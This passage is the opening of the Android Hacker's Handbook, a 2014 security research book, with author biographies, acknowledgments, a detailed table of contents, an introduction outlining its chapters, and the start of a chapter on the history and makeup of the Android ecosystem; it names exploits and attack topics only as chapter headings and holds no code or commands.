How This Book Is Organized

How This Book Is Organized
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Android™ Hacker’s Handbook
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Android™ Hacker’s
Handbook
Joshua J. Drake
Pau Oliva Fora
Zach Lanier
Collin Mulliner
Stephen A. Ridley
Georg Wicherski
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Android™ Hacker’s Handbook
Published by
John Wiley & Sons, Inc.
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Indianapolis, IN 46256
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Copyright © 2014 by John Wiley & Sons, Inc., Indianapolis, Indiana
ISBN: 978-1-118-60864-7
ISBN: 978-1-118-60861-6 (ebk)
ISBN: 978-1-118-92225-5 (ebk)
Manufactured in the United States of America
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About the Authors
Joshua J. Drake is a Director of Research Science at Accuvant LABS. Joshua
focuses on original research in areas such as reverse engineering and the analysis, discovery, and exploitation of security vulnerabilities. He has over 10 years
of experience in the information security field including researching Linux
security since 1994, researching Android security since 2009, and consulting
with major Android OEMs since 2012. In prior roles, he served at Metasploit
and VeriSign’s iDefense Labs. At BlackHat USA 2012, Georg and Joshua demonstrated successfully exploiting the Android 4.0.1 browser via NFC. Joshua spoke
at REcon, CanSecWest, RSA, Ruxcon/Breakpoint, Toorcon, and DerbyCon. He
won Pwn2Own in 2013 and won the DefCon 18 CTF with the ACME Pharm
team in 2010.
Pau Oliva Fora is a Mobile Security Engineer with viaForensics. He has previously worked as R+D Engineer in a wireless provider. He has been actively
researching security aspects on the Android operating system since its debut
with the T-Mobile G1 on October 2008. His passion for smartphone security has
manifested itself not just in the numerous exploits and tools he has authored
but in other ways, such as serving as a moderator for the very popular XDADevelopers forum even before Android existed. In his work, he has provided
consultation to major Android OEMs. His close involvement with and observation of the mobile security communities has him particularly excited to be a
part of pulling together a book of this nature.
Zach Lanier is a Senior Security Researcher at Duo Security. Zach has
been involved in various areas of information security for over 10 years. He
has been conducting mobile and embedded security research since 2009,
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About the Authors
ranging from app security, to platform security (especially Android), to device,
network, and carrier security. His areas of research interest include both
offensive and defensive techniques, as well as privacy-enhancing technologies.
He has presented at various public and private industry conferences, such
as BlackHat, DEFCON, ShmooCon, RSA, Intel Security Conference, Amazon
ZonCon, and more.
Collin Mulliner is a postdoctoral researcher at Northeastern University. His
main interest lies in security and privacy of mobile and embedded systems with
an emphasis on mobile and smartphones. His early work dates back to 1997, when
he developed applications for Palm OS. Collin is known for his work on the (in)
security of the Multimedia Messaging Service (MMS) and the Short Message
Service (SMS). In the past he was mostly interested in vulnerability analysis and
offensive security but recently switched his focus the defensive side to develop
mitigations and countermeasures. Collin received a Ph.D. in computer science
from Technische Universität Berlin; earlier he completed his M.S. and B.S. in
computer science at UC Santa Barbara and FH Darmstadt.
Ridley (as his colleagues refer to him) is a security researcher and author with
more than 10 years of experience in software development, software security, and
reverse engineering. In that last few years Stephen has presented his research
and spoken about reverse engineering and software security on every continent
(except Antarctica). Previously Stephen served as the Chief Information Security
Officer of Simple.com, a new kind of online bank. Before that, Stephen was
senior researcher at Matasano Security and a founding member of the Security
and Mission Assurance (SMA) group at a major U.S defense contractor, where
he specialized in vulnerability research, reverse engineering, and “offensive
software” in support of the U.S. Defense and Intelligence community. At present, Stephen is principal researcher at Xipiter (an information security R&D
firm that has also developed a new kind of low-power smart-sensor device).
Recently, Stephen and his work have been featured on NPR and NBC and in
Wired, the Washington Post, Fast Company, VentureBeat, Slashdot, The Register, and
other publications.
Georg Wicherski is Senior Security Researcher at CrowdStrike. Georg
particularly enjoys tinkering with the low-level parts in computer security;
hand-tuning custom-written shellcode and getting the last percent in exploit
reliability stable. Before joining CrowdStrike, Georg worked at Kaspersky and
McAfee. At BlackHat USA 2012, Joshua and Georg demonstrated successfully
exploiting the Android 4.0.1 browser via NFC. He spoke at REcon, SyScan,
BlackHat USA and Japan, 26C3, ph-Neutral, INBOT, and various other conferences. With his local CTF team 0ldEur0pe, he participated in countless and won
numerous competitions.
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About the Technical Editor
Rob Shimonski (www.shimonski.com) is a best-selling author and editor with
over 15 years’ experience developing, producing and distributing print media
in the form of books, magazines, and periodicals. To date, Rob has successfully
created over 100 books that are currently in circulation. Rob has worked for
countless companies that include CompTIA, Microsoft, Wiley, McGraw Hill
Education, Cisco, the National Security Agency, and Digidesign.
Rob has over 20 years’ experience working in IT, networking, systems, and
security. He is a veteran of the US military and has been entrenched in security
topics for his entire professional career. In the military Rob was assigned to a
communications (radio) battalion supporting training efforts and exercises.
Having worked with mobile phones practically since their inception, Rob is an
expert in mobile phone development and security.
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Credits
Executive Editor
Carol Long
Marketing Manager
Ashley Zurcher
Project Editors
Ed Connor
Sydney Jones Argenta
Business Manager
Amy Knies
Technical Editor
Rob Shimonski
Vice President and Executive
Group Publisher
Richard Swadley
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The Android robot is reproduced or modified from work created and shared
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Acknowledgments
I thank my family, especially my wife and son, for their tireless support and
affection during this project. I thank my peers from both industry and academia;
their research efforts push the boundary of public knowledge. I extend my
gratitude to: my esteemed coauthors for their contributions and candid discussions, Accuvant for having the grace to let me pursue this and other endeavors,
and Wiley for spurring this project and guiding us along the way. Last, but not
least, I thank the members of #droidsec, the Android Security Team, and the
Qualcomm Security Team for pushing Android security forward.
— Joshua J. Drake
I’d like to thank Iolanda Vilar for pushing me into writing this book and supporting me during all the time I’ve been away from her at the computer. Ricard
and Elena for letting me pursue my passion when I was a child. Wiley and all
the coauthors of this book, for the uncountable hours we’ve been working on this
together, and specially Joshua Drake for all the help with my broken English. The
colleagues at viaForensics for the awesome technical research we do together.
And finally all the folks at #droidsec irc channel, the Android Security community in G+, Nopcode, 48bits, and everyone who I follow on Twitter; without
you I wouldn’t be able to keep up with all the advances in mobile security.
— Pau Oliva
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Acknowledgments
I would like to thank Sally, the love of my life, for putting up with me; my
family for encouraging me; Wiley/Carol/Ed for the opportunity; my coauthors
for sharing this arduous but awesome journey; Ben Nell, Craig Ingram, Kelly
Lum, Chris Valasek, Jon Oberheide, Loukas K., Chris Valasek, John Cran, and
Patrick Schulz for their support and feedback; and other friends who’ve helped
and supported me along the way, whether either of us knows it or not.
— Zach Lanier
I would like to thank my girlfriend Amity, my family, and my friends and
colleagues for their continued support. Further, I would like to thank my advisors for providing the necessary time to work on the book. Special thanks to
Joshua for making this book happen.
— Collin Mulliner
No one deserves more thanks than my parents: Hiram O. Russell, and Imani
Russell, and my younger siblings: Gabriel Russell and Mecca Russell. A great
deal of who (and what) I am, is owed to the support and love of my family. Both
of my parents encouraged me immensely and my brother and sister never cease
to impress me in their intellect, accomplishments, and quality as human beings.
You all are what matter most to me. I would also like to thank my beautiful fiancée, Kimberly Ann Hartson, for putting up with me through this whole process
and being such a loving and calming force in my life. Lastly, I would like to
thank the information security community at large. The information security
community is a strange one, but one I “grew up” in nonetheless. Colleagues
and researchers (including my coauthors) are a source of constant inspiration
and provide me with the regular sources of news, drama, and aspirational goals
that keep me interested in this kind of work. I am quite honored to have been
given the opportunity to collaborate on this text.
— Stephen A. Ridley
I sincerely thank my wife, Eva, and son, Jonathan, for putting up with me
spending time writing instead of caring for them. I love you two. I thank Joshua
for herding cats to make this book happen.
— Georg Wicherski
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Contents at a Glance
Introduction
xxv
Chapter 1
Looking at the Ecosystem
1
Chapter 2
Android Security Design and Architecture
25
Chapter 3
Rooting Your Device
57
Chapter 4
Reviewing Application Security
83
Chapter 5
Understanding Android’s Attack Surface
129
Chapter 6
Finding Vulnerabilities with Fuzz Testing
177
Chapter 7
Debugging and Analyzing Vulnerabilities
205
Chapter 8
Exploiting User Space Software
263
Chapter 9
Return Oriented Programming
291
Chapter 10
Hacking and Attacking the Kernel
309
Chapter 11
Attacking the Radio Interface Layer
367
Chapter 12
Exploit Mitigations
391
Chapter 13
Hardware Attacks
423
Appendix A Tool Catalog
485
Appendix B Open Source Repositories
501
Appendix C References
511
Index
523
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Contents
Introduction
Chapter 1
xxv
Looking at the Ecosystem
Understanding Android’s Roots
1
1
Company History
Version History
Examining the Device Pool
Open Source, Mostly
2
2
4
7
Understanding Android Stakeholders
Google
Hardware Vendors
Carriers
Developers
Users
8
10
12
13
14
Grasping Ecosystem Complexities
15
Fragmentation
Compatibility
Update Issues
Security versus Openness
Public Disclosures
Chapter 2
7
16
17
18
21
22
Summary
23
Android Security Design and Architecture
Understanding Android System Architecture
Understanding Security Boundaries and Enforcement
25
25
27
Android’s Sandbox
Android Permissions
27
30
Looking Closer at the Layers
34
Android Applications
The Android Framework
34
39
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Contents
The Dalvik Virtual Machine
User-Space Native Code
The Kernel
Chapter 3
Complex Security, Complex Exploits
Summary
55
56
Rooting Your Device
Understanding the Partition Layout
57
58
Determining the Partition Layout
Understanding the Boot Process
Accessing Download Mode
Locked and Unlocked Boot Loaders
59
60
61
62
Stock and Custom Recovery Images
63
Rooting with an Unlocked Boot Loader
Rooting with a Locked Boot Loader
65
68
Gaining Root on a Booted System
NAND Locks, Temporary Root, and Permanent Root
Persisting a Soft Root
History of Known Attacks
Kernel: Wunderbar/asroot
Recovery: Volez
Udev: Exploid
Adbd: RageAgainstTheCage
Zygote: Zimperlich and Zysploit
Ashmem: KillingInTheNameOf and psneuter
Vold: GingerBreak
PowerVR: levitator
Libsysutils: zergRush
Kernel: mempodroid
File Permission and Symbolic Link–Related Attacks
Adb Restore Race Condition
Exynos4: exynos-abuse
Diag: lit / diaggetroot
Chapter 4
40
41
49
69
70
71
73
73
74
74
75
75
76
76
77
78
78
79
79
80
81
Summary
81
Reviewing Application Security
Common Issues
83
83
App Permission Issues
Insecure Transmission of Sensitive Data
Insecure Data Storage
Information Leakage Through Logs
Unsecured IPC Endpoints
Case Study: Mobile Security App
Profiling
Static Analysis
Dynamic Analysis
Attack
91
91
93
109
117
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84
86
87
88
89
Contents
Case Study: SIP Client
120
Enter Drozer
Discovery
Snarfing
Injection
Chapter 5
121
121
122
124
Summary
126
Understanding Android’s Attack Surface
An Attack Terminology Primer
129
130
Attack Vectors
Attack Surfaces
130
131
Classifying Attack Surfaces
133
Surface Properties
Classification Decisions
133
134
Remote Attack Surfaces
134
Networking Concepts
Networking Stacks
Exposed Network Services
Mobile Technologies
Client-side Attack Surface
Google Infrastructure
134
139
140
142
143
148
Physical Adjacency
154
Wireless Communications
Other Technologies
154
161
Local Attack Surfaces
161
Exploring the File System
Finding Other Local Attack Surfaces
Physical Attack Surfaces
168
Dismantling Devices
USB
Other Physical Attack Surfaces
Chapter 6
162
163
169
169
173
Third-Party Modifications
Summary
174
174
Finding Vulnerabilities with Fuzz Testing
Fuzzing Background
177
177
Identifying a Target
Crafting Malformed Inputs
Processing Inputs
Monitoring Results
179
179
180
181
Fuzzing on Android
Fuzzing Broadcast Receivers
181
183
Identifying a Target
Generating Inputs
Delivering Inputs
Monitoring Testing
183
184
185
185
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Contents
Fuzzing Chrome for Android
Selecting a Technology to Target
Generating Inputs
Processing Inputs
Monitoring Testing
Fuzzing the USB Attack Surface
USB Fuzzing Challenges
Selecting a Target Mode
Generating Inputs
Processing Inputs
Monitoring Testing
Chapter 7
188
190
192
194
197
198
198
199
201
202
Summary
204
Debugging and Analyzing Vulnerabilities
Getting All Available Information
Choosing a Toolchain
Debugging with Crash Dumps
205
205
207
208
System Logs
Tombstones
208
209
Remote Debugging
Debugging Dalvik Code
Debugging an Example App
Showing Framework Source Code
Debugging Existing Code
Debugging Native Code
Debugging with the NDK
Debugging with Eclipse
Debugging with AOSP
Increasing Automation
Debugging with Symbols
Debugging with a Non-AOSP Device
211
212
213
215
217
221
222
226
227
233
235
241
Debugging Mixed Code
Alternative Debugging Techniques
243
243
Debug Statements
On-Device Debugging
Dynamic Binary Instrumentation
243
244
245
Vulnerability Analysis
Determining Root Cause
Judging Exploitability
Chapter 8
188
246
246
260
Summary
261
Exploiting User Space Software
Memory Corruption Basics
263
263
Stack Buffer Overflows
Heap Exploitation
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264
268
Contents
A History of Public Exploits
275
GingerBreak
zergRush
mempodroid
275
279
283
Exploiting the Android Browser
284
Understanding the Bug
Controlling the Heap
Chapter 9
284
287
Summary
290
Return Oriented Programming
History and Motivation
291
291
Separate Code and Instruction Cache
Basics of ROP on ARM
ARM Subroutine Calls
Combining Gadgets into a Chain
Identifying Potential Gadgets
295
297
299
Case Study: Android 4.0.1 Linker
300
Pivoting the Stack Pointer
Executing Arbitrary Code from a New Mapping
Chapter 10
292
294
301
303
Summary
308
Hacking and Attacking the Kernel
Android’s Linux Kernel
Extracting Kernels
309
309
310
Extracting from Stock Firmware
Extracting from Devices
Getting the Kernel from a Boot Image
Decompressing the Kernel
Running Custom Kernel Code
Obtaining Source Code
Setting Up a Build Environment
Configuring the Kernel
Using Custom Kernel Modules
Building a Custom Kernel
Creating a Boot Image
Booting a Custom Kernel
Debugging the Kernel
Obtaining Kernel Crash Reports
Understanding an Oops
Live Debugging with KGDB
Exploiting the Kernel
Typical Android Kernels
Extracting Addresses
Case Studies
Summary
311
314
315
316
316
316
320
321
322
325
329
331
336
337
338
343
348
348
350
352
364
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xx
Contents
Chapter 11
Attacking the Radio Interface Layer
Introduction to the RIL
367
368
RIL Architecture
Smartphone Architecture
The Android Telephony Stack
Telephony Stack Customization
The RIL Daemon (rild)
The Vendor-RIL API
368
369
370
371
372
374
Short Message Service (SMS)
Sending and Receiving SMS Messages
SMS Message Format
Interacting with the Modem
Emulating the Modem for Fuzzing
Fuzzing SMS on Android
Chapter 12
375
376
376
379
379
382
Summary
390
Exploit Mitigations
Classifying Mitigations
Code Signing
Hardening the Heap
Protecting Against Integer Overflows
Preventing Data Execution
Address Space Layout Randomization
Protecting the Stack
Format String Protections
Read-Only Relocations
Sandboxing
Fortifying Source Code
Access Control Mechanisms
Protecting the Kernel
391
392
392
394
394
396
398
400
401
403
404
405
407
408
Pointer and Log Restrictions
Protecting the Zero Page
Read-Only Memory Regions
409
410
410
Other Hardening Measures
Summary of Exploit Mitigations
Disabling Mitigation Features
411
414
415
Changing Your Personality
Altering Binaries
Tweaking the Kernel
416
416
417
Overcoming Exploit Mitigations
418
Overcoming Stack Protections
Overcoming ASLR
Overcoming Data Execution Protections
Overcoming Kernel Protections
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418
418
419
419
Contents
Looking to the Future
420
Official Projects Underway
Community Kernel Hardening Efforts
A Bit of Speculation
Chapter 13
420
420
422
Summary
422
Hardware Attacks
Interfacing with Hardware Devices
423
424
UART Serial Interfaces
I2C, SPI, and One-Wire Interfaces
JTAG
Finding Debug Interfaces
424
428
431
443
Identifying Components
456
Getting Specifications
Difficulty Identifying Components
Intercepting, Monitoring, and Injecting Data
USB
I2C, SPI, and UART Serial Interfaces
Stealing Secrets and Firmware
456
457
459
459
463
469
Accessing Firmware Unobtrusively
Destructively Accessing the Firmware
What Do You Do with a Dump?
Pitfalls
469
471
474
479
Custom Interfaces
Binary/Proprietary Data
Blown Debug Interfaces
Chip Passwords
Boot Loader Passwords, Hotkeys, and Silent Terminals
Customized Boot Sequences
Unexposed Address Lines
Anti-Reversing Epoxy
Image Encryption, Obfuscation, and Anti-Debugging
Summary
479
479
480
480
480
481
481
482
482
482
Appendix A Tool Catalog
Development Tools
485
485
Android SDK
Android NDK
Eclipse
ADT Plug-In
ADT Bundle
Android Studio
485
486
486
486
486
487
Firmware Extraction and Flashing Tools
Binwalk
fastboot
487
487
487
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Contents
Samsung
NVIDIA
LG
HTC
Motorola
488
489
489
489
490
Native Android Tools
BusyBox
setpropex
SQLite
strace
491
491
491
491
492
Hooking and Instrumentation Tools
ADBI Framework
ldpreloadhook
XPosed Framework
Cydia Substrate
Static Analysis Tools
Smali and Baksmali
Androguard
apktool
dex2jar
jad
JD-GUI
JEB
Radare2
IDA Pro and Hex-Rays Decompiler
Application Testing Tools
Drozer (Mercury) Framework
iSEC Intent Sniffer and Intent Fuzzer
492
492
492
492
493
493
493
493
494
494
494
495
495
495
496
496
496
496
Hardware Hacking Tools
496
Segger J-Link
JTAGulator
OpenOCD
Saleae
Bus Pirate
GoodFET
Total Phase Beagle USB
Facedancer21
Total Phase Beagle I2C
Chip Quik
Hot air gun
Xeltek SuperPro
IDA
497
497
497
497
497
497
498
498
498
498
498
498
499
Appendix B Open Source Repositories
Google
AOSP
Gerrit Code Review
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501
501
501
502
Contents
SoC Manufacturers
AllWinner
Intel
Marvell
MediaTek
Nvidia
Texas Instruments
Qualcomm
Samsung
OEMs
502
503
503
503
504
504
504
505
505
506
ASUS
HTC
LG
Motorola
Samsung
Sony Mobile
506
507
507
507
508
508
Upstream Sources
Others
508
509
Custom Firmware
Linaro
Replicant
Code Indexes
Individuals
509
510
510
510
510
Appendix C References
511
Index
523
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Page xxiv
Introduction
Like most disciplines, information security began as a cottage industry. It is has
grown organically from hobbyist pastime into a robust industry replete with
executive titles, “research and development” credibility, and the ear of academia
as an industry where seemingly aloof fields of study such as number theory,
cryptography, natural language processing, graph theory, algorithms, and niche
computer science can be applied with a great deal of industry impact. Information
security is evolving into a proving ground for some of these fascinating fields of
study. Nonetheless, information security (specifically “vulnerability research”)
is bound to the information technology sector as a whole and therefore follows
the same trends.
As we all very well know from our personal lives, mobile computing is quite
obviously one of the greatest recent areas of growth in the information technology. More than ever, our lives are chaperoned by our mobile devices, much
more so than the computers we leave on our desks at close of business or leave
closed on our home coffee tables when we head into our offices in the morning.
Unlike those devices, our mobile devices are always on, taken between these
two worlds, and are hence much more valuable targets for malicious actors.
Unfortunately information security has been slower to follow suit, with
only a recent shift toward the mobile space. As a predominantly “reactionary”
industry, information security has been slow (at least publicly) to catch up to
mobile/embedded security research and development. To some degree mobile
security is still considered cutting edge, because consumers and users of mobile
devices are only just recently beginning to see and comprehend the threats
associated with our mobile devices. These threats have consequently created a
market for security research and security products.
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For information security researchers, the mobile space also represents a
fairly new and sparsely charted continent to explore, with diverse geography
in the form of different processor architectures, hardware peripherals, software
stacks, and operating systems. All of these create an ecosystem for a diverse set
of vulnerabilities to exploit and study.
According to IDC, Android market share in Q3 2012 was 75 percent of the
worldwide market (as calculated by shipment volume) with 136 million units
shipped. Apple’s iOS had 14.9 percent of the market in the same quarter, BlackBerry
and Symbian followed behind with 4.3 percent and 2.3 percent respectively. After
Q3 2013, Android’s number had risen to 81 percent, with iOS at 12.9 percent and
the remaining 6.1 percent scattered among the other mobile operating systems.
With that much market share, and a host of interesting information security
incidents and research happening in the Android world, we felt a book of this
nature was long overdue.
Wiley has published numerous books in the Hacker’s Handbook series, including
the titles with the terms “Shellcoder’s,” “Mac,” “Database,” “Web Application,”
“iOS,” and “Browser” in their names. The Android Hacker’s Handbook represents
the latest installment in the series and builds on the information within the
entire collection.
Overview of the Book and Technology
The Android Hacker’s Handbook team members chose to write this book because
the field of mobile security research is so “sparsely charted” with disparate and
conflicted information (in the form of resources and techniques). There have been
some fantastic papers and published resources that feature Android, but much
of what has been written is either very narrow (focusing on a specific facet of
Android security) or mentions Android only as an ancillary detail of a security
issue regarding a specific mobile technology or embedded device. Further, public
vulnerability information surrounding Android is scarce. Despite the fact that
1,000 or more publicly disclosed vulnerabilities affect Android devices, multiple
popular sources of vulnerability information report fewer than 100. The team
believes that the path to improving Android’s security posture starts by understanding the technologies, concepts, tools, techniques, and issues in this book.
How This Book Is Organized
This book is intended to be readable cover to cover, but also serves as an indexed
reference for anyone hacking on Android or doing information security research
on an Android-based device. We’ve organized the book into 13 chapters to cover
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Introduction
virtually everything one would need to know to first approach Android for
security research. Chapters include diagrams, photographs, code snippets, and
disassembly to explain the Android software and hardware environment and
consequently the nuances of software exploitation and reverse engineering on
Android. The general outline of this book begins with broader topics and ends
with deeply technical information. The chapters are increasingly specific and
lead up to discussions of advanced security research topics such as discovering, analyzing, and attacking Android devices. Where applicable, this book
refers to additional sources of detailed documentation. This allows the book to
focus on technical explanations and details relevant to device rooting, reverse
engineering, vulnerability research, and software exploitation.
■
Chapter 1 introduces the ecosystem surrounding Android mobile devices.
After revisiting historical facts about Android, the chapter takes a look at
the general software composition, the devices in public circulation, and
the key players in the supply chain. It concludes with a discussion of
high-level difficulties that challenge the ecosystem and impede Android
security research.
■
Chapter 2 examines Android operating system fundamentals. It begins
with an introduction to the core concepts used to keep Android devices
secure. The rest of the chapter dips into the internals of the most securitycritical components.
■
Chapter 3 explains the motivations and methods for gaining unimpeded
access to an Android device. It starts by covering and guiding you through
techniques that apply to a wide range of devices. Then it presents moderately detailed information about more than a dozen individually
published exploits.
■
Chapter 4 pertains to security concepts and techniques specific to Android
applications. After discussing common security-critical mistakes made
during development, it walks you through the tools and processes used
to find such issues.
■
Chapter 5 introduces key terminology used to describe attacks against
mobile devices and explores the many ways that an Android device can
be attacked.
■
Chapter 6 shows how to find vulnerabilities in software that runs on
Android by using a technique known as fuzz testing. It starts by discussing
the high-level process behind fuzzing. The rest of the chapter takes a look
at how applying these processes toward Android can aid in discovering
security issues.
■
Chapter 7 is about analyzing and understanding bugs and security vulnerabilities in Android. It first presents techniques for debugging the
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different types of code found in Android. It concludes with an analysis
of an unpatched security issue in the WebKit-based web browser.
■
Chapter 8 looks at how you can exploit memory corruption vulnerabilities
on Android devices. It covers compiler and operating system internals, like
Android’s heap implementation, and ARM system architecture specifics.
The last part of this chapter takes a close look at how several published
exploits work.
■
Chapter 9 focuses on an advanced exploitation technique known as
Return Oriented Programming (ROP). It further covers ARM system
architecture and explains why and how to apply ROP. It ends by taking
a more detailed look at one particular exploit.
■
Chapter 10 digs deeper into the inner workings of the Android operating
system with information about the kernel. It begins by explaining how
to hack, in the hobbyist sense, the Android kernel. This includes how to
develop and debug kernel code. Finally, it shows you how to exploit a
few publicly disclosed vulnerabilities.
■
Chapter 11 jumps back to user-space to discuss a particularly important
component unique to Android smartphones: the Radio Interface Layer
(RIL). After discussing architectural details, this chapter covers how you
can interact with RIL components to fuzz the code that handles Short
Message Service (SMS) messages on an Android device.
■
Chapter 12 details security protection mechanisms present in the Android
operating system. It begins with a perspective on when such protections
were invented and introduced in Android. It explains how these protections work at various levels and concludes with techniques for overcoming
and circumventing them.
■
Chapter 13 dives into methods and techniques for attacking Android, and
other embedded devices, through their hardware. It starts by explaining
how to identify, monitor, and intercept various bus-level communications.
It shows how these methods can enable further attacks against hard-toreach system components. It ends with tips and tricks for avoiding many
common hardware hacking pitfalls.
Who Should Read This Book
The intended audience of this book is anyone who wants to gain a better
understanding of Android security. Whether you are a software developer, an
embedded system designer, a security architect, or a security researcher, this
book will improve your understanding of the Android security landscape.
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Though some of the chapters are approachable to a wide audience, the bulk of
this book is better digested by someone with a firm grasp on computer software
development and security. Admittedly, some of the more technical chapters
are better suited to readers who are knowledgeable in topics such as assembly
language programming and reverse engineering. However, less experienced
readers who have sufficient motivation stand to learn a great deal from taking
the more challenging parts of the book head on.
Tools You Will Need
This book alone will be enough for you to get a basic grasp of the inner workings
of the Android OS. However, readers who want to follow the presented code
and workflows should prepare by gathering a few items. First and foremost,
an Android device is recommended. Although a virtual device will suffice for
most tasks, you will be better off with a physical device from the Google Nexus
family. Many of the chapters assume you will use a development machine with
Ubuntu 12.04. Finally, the Android Software Developers Kit (SDK), Android
Native Development Kit (NDK), and a complete checkout of the Android Open
Source Project (AOSP) are recommended for following along with the more
advanced chapters.
What’s on the Website
As stated earlier, this book is intended to be a one-stop resource for current
Android information security research and development. While writing this
book, we developed code that supplements the material. You can download
this supplementary material from the book’s website at www.wiley.com/
go/androidhackershandbook/.
Bon Voyage
With this book in your hand, you’re ready to embark on a journey through
Android security. We hope reading this book will give you a deeper knowledge
and better understanding of the technologies, concepts, tools, techniques, and
vulnerabilities of Android devices. Through your newly acquired wisdom, you
will be on the path to improving Android’s overall security posture. Join us in
making Android more secure, and don’t forget to have fun doing it!
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1
Looking at the Ecosystem
The word Android is used correctly in many contexts. Although the word still
can refer to a humanoid robot, Android has come to mean much more than
that in the last decade. In the mobile space, it refers to a company, an operating
system, an open source project, and a development community. Some people
even call mobile devices Androids. In short, an entire ecosystem surrounds the
now wildly popular mobile operating system.
This chapter looks closely at the composition and health of the Android
ecosystem. First you find out how Android became what it is today. Then the
chapter breaks down the ecosystem stakeholders into groups in order to help
you understand their roles and motivations. Finally, the chapter discusses the
complex relationships within the ecosystem that give rise to several important
issues that affect security.
Understanding Android’s Roots
Android did not become the world’s most popular mobile operating system
overnight. The last decade has been a long journey with many bumps in the
road. This section recounts how Android became what it is today and begins
looking at what makes the Android ecosystem tick.
1
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Company History
Android began as Android, Inc., a company founded by Andy Rubin, Chris
White, Nick Sears, and Rich Miner in October 2003. They focused on creating
mobile devices that were able to take into account location information and
user preferences. After successfully navigating market demand and financial
difficulties, Google acquired Android, Inc., in August 2005. During the period
following, Google began building partnerships with hardware, software, and
telecommunications companies with the intent of entering the mobile market.
In November 2007, the Open Handset Alliance (OHA) was announced. This
consortium of companies, which included 34 founding members led by Google,
shares a commitment to openness. In addition, it aims to accelerate mobile platform innovation and offer consumers a richer, less expensive, and better mobile
experience. The OHA has since grown to 84 members at the time this book was
published. Members represent all parts of the mobile ecosystem, including
mobile operators, handset manufacturers, semiconductor companies, software
companies, and more. You can find the full list of members on the OHA website
at www.openhandsetalliance.com/oha_members.html.
With the OHA in place, Google announced its first mobile product, Android.
However, Google still did not bring any devices running Android to the market.
Finally, after a total of five years, Android was made available to the general
public in October 2008. The release of the first publicly available Android phone,
the HTC G1, marked the beginning of an era.
Version History
Before the first commercial version of Android, the operating system had Alpha
and Beta releases. The Alpha releases where available only to Google and OHA
members, and they were codenamed after popular robots Astro Boy, Bender, and
R2-D2. Android Beta was released on November 5, 2007, which is the date that
is popularly considered the Android birthday.
The first commercial version, version 1.0, was released on September 23, 2008,
and the next release, version 1.1, was available on February 9, 2009. Those were
the only two releases that did not have a naming convention for their codename.
Starting with Android 1.5, which was released on April 30, 2009, the major versions’ code names were ordered alphabetically with the names of tasty treats.
Version 1.5 was code named Cupcake. Figure 1-1 shows all commercial Android
versions, with their respective release dates and code names.
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Figure 1-1: Android releases
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In the same way that Android releases are code-named, individual builds are
identified with a short build code, as explained on the Code Names, Tags, and
Build Numbers page at http://source.android.com/source/build-numbers
.html. For example, take the build number JOP40D. The first letter represents the
code name of the Android release (J is Jelly Bean). The second letter identifies
the code branch from which the build was made, though its precise meaning
varies from one build to the next. The third letter and subsequent two digits
comprise a date code. The letter represents the quarter, starting from A, which
means the first quarter of 2009. In the example, P represents the fourth quarter
of 2012. The two digits signify days from the start of the quarter. In the example,
P40 is November 10, 2012. The final letter differentiates individual versions
for the same date, again starting with A. The first builds for a particular date,
signified with A, don’t usually use this letter.
Examining the Device Pool
As Android has grown, so has the number of devices based on the operating
system. In the past few years, Android has been slowly branching out from the
typical smartphone and tablet market, finding its way into the most unlikely
of places. Devices such as smart watches, television accessories, game consoles,
ovens, satellites sent to space, and the new Google Glass (a wearable device with
a head-mounted display) are powered by Android. The automotive industry is
beginning to use Android as an infotainment platform in vehicles. The operating system is also beginning to make a strong foothold in the embedded Linux
space as an appealing alternative for embedded developers. All of these facts
make the Android device pool an extremely diverse place.
You can obtain Android devices from many retail outlets worldwide. Currently,
most mobile subscribers get subsidized devices through their mobile carriers.
Carriers provide these subsidies under the terms of a contract for voice and
data services. Those who do not want to be tied to a carrier can also purchase
Android devices in consumer electronics stores or online. In some countries,
Google sells their Nexus line of Android devices in their online store, Google Play.
Google Nexus
Nexus devices are Google’s flagship line of devices, consisting mostly of smartphones and tablets. Each device is produced by a different original equipment
manufacturer (OEM) in a close partnership with Google. They are sold SIMunlocked, which makes switching carriers and traveling easy, through Google
Play directly by Google. To date, Google has worked in cooperation with HTC,
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Samsung, LG, and ASUS to create Nexus smartphones and tablets. Figure 1-2
shows some of the Nexus devices released in recent years.
Figure 1-2: Google Nexus devices
Nexus devices are meant to be the reference platform for new Android
versions. As such, Nexus devices are updated directly by Google soon after
a new Android version is released. These devices serve as an open platform
for developers. They have unlockable boot loaders that allow flashing custom
Android builds and are supported by the Android Open Source Project (AOSP).
Google also provides factory images, which are binary firmware images that can
be flashed to return the device to the original, unmodified state.
Another benefit of Nexus devices is that they offer what is commonly referred
to as a pure Google experience. This means that the user interface has not been
modified. Instead, these devices offer the stock interface found in vanilla Android
as compiled from AOSP. This also includes Google’s proprietary apps such as
Google Now, Gmail, Google Play, Google Drive, Hangouts, and more.
Market Share
Smartphone market share statistics vary from one source to another. Some
sources include ComScore, Kantar, IDC, and Strategy Analytics. An overall look at the data from these sources shows that Android’s market share is
on the rise in a large proportion of countries. According to a report released
by Goldman Sachs, Android was the number one player in the entire global
computing market at the end of 2012. StatCounter’s GlobalStats, available at
http://gs.statcounter.com/, show that Android is currently the number one
player in the mobile operating system market, with 41.3 percent worldwide as
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of November 2013. Despite these small variations, all sources seem to agree that
Android is the dominating mobile operating system.
Release Adoption
Not all Android devices run the same Android version. Google regularly publishes a dashboard showing the relative percentage of devices running a given
version of Android. This information is based on statistics gathered from visits
to Google Play, which is present on all approved devices. The most up-to-date
version of this dashboard is available at http://developer.android.com/about/
dashboards/. Additionally, Wikipedia contains a chart showing dashboard
data aggregated over time. Figure 1-3 depicts the chart as of this writing, which
includes data from December 2009 to February 2013.
Figure 1-3: Android historical version distribution
Source: fjmustak (Creative Commons Attribution-Share Alike 3.0 Unported license) http://
en.wikipedia.org/wiki/File:Android_historical_version_
distribution.png
As shown, new versions of Android have a relatively slow adoption rate. It
takes in excess of one year to get a new version running on 90 percent of devices.
You can read more about this issue and other challenges facing Android in the
“Grasping Ecosystem Complexities” section later in this chapter.
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Open Source, Mostly
AOSP is the manifestation of Google and the OHA members’ commitment to
openness. At its foundation, the Android operating system is built upon many
different open source components. This includes numerous libraries, the Linux
kernel, a complete user interface, applications, and more. All of these software
components have an Open Source Initiative (OSI)–approved license. Most of the
Android source is released under version 2.0 of the Apache Software License
that you can find at apache.org/licenses/LICENSE-2.0. Some outliers do exist,
mainly consisting on upstream projects, which are external open source projects
on which Android depends. Two examples are the Linux kernel code that is
licensed under GPLv2 and the WebKit project that uses a BSD-style license.
The AOSP source repository brings all of these projects together in one place.
Although the vast majority of the Android stack is open source, the resulting
consumer devices contain several closed source software components. Even
